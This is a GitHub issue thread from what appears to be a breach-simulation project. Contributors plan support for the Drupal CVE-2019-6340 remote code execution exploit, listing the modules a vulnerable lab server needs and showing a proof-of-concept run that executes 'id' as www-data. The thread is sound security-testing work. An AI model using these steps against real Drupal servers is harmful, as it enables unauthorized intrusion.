Skip to content

CVE-2019-6340 (Drupal exploit)Β #669

Closed

Description

Activity

  1. added this to the 1.9.0 milestone on May 27, 2020
  2. ophirharpazg commented on Jun 14, 2020

    @ophirharpazg
    Contributor
    • Decide which class is more appropriate for this exploit (WebRCE or HostExploiter)
    • Add a new exploit file and make it run some dummy code when Drupal port / server is found
    • Get a vulnerable Drupal server up and running
    • Integrate the exploit code into the monkey (logs, telemetry)
    • Add content on exploit findings to the Monkey report (CVE details, mitigation)
    • Add an automatic test to the Monkey Zoo

    Some more things:

    • Is a scanner needed to identify Drupal servers? Or should we simply add a port number to the configuration?
  3. VakarisZ commented on Jun 15, 2020

    @VakarisZ
    Contributor

    Use WebRCE for this one. Regarding ports, I think we have a list of webports that we try for all web exploits. If drupal has a unique default port then add it to config, but as far as scanning goes, we only need custom scanner if the actual exploit attempt takes a long time.

  4. ophirharpazg commented on Aug 10, 2020

    @ophirharpazg
    Contributor

    FWIW, to set up a vulnerable Drupal server I used this tutorial, and made sure the following modules are installed (in the Drupal UI Extend menu):

    • REST Web Services
    • HTTP Basic Authentication
    • Node

    For experimenting with the exploit quoted in this issue, you need to be acquainted with clearing cache, which is done from Configuration > Performance menu.

    Running the exploit looks like that:

    PS C:\Users\ophir.harpaz\Desktop\Guardicore\monkey\drupal> python .\cve-2019-6340.py http://172.23.74.255/ id
    CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
     by @leonjza
    
    References:
     https://www.drupal.org/sa-core-2019-003
     https://www.ambionics.io/blog/drupal8-rce
    
    [warning] Caching heavily affects reliability of this exploit.
    Nodes are used as they are discovered, but once they are done,
    you will have to wait for cache expiry.
    
    Targetting http://172.23.74.255/...
    [+] Finding a usable node id...
    [+] Using node_id 1
    requesting http://172.23.74.255/node/1
    [+] Target appears to be vulnerable!
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
  5. modified the milestones: 1.9.0, 1.10.0 on Aug 11, 2020
  6. ophirharpazg commented on Aug 27, 2020

    @ophirharpazg
    Contributor

    image

  7. VakarisZ commented on Aug 28, 2020

    @VakarisZ
    Contributor

    Nice! But icons tell me that you need to backmerge

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

FeatureIssue that describes a new feature to be implemented.

Type

No type

Projects

No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions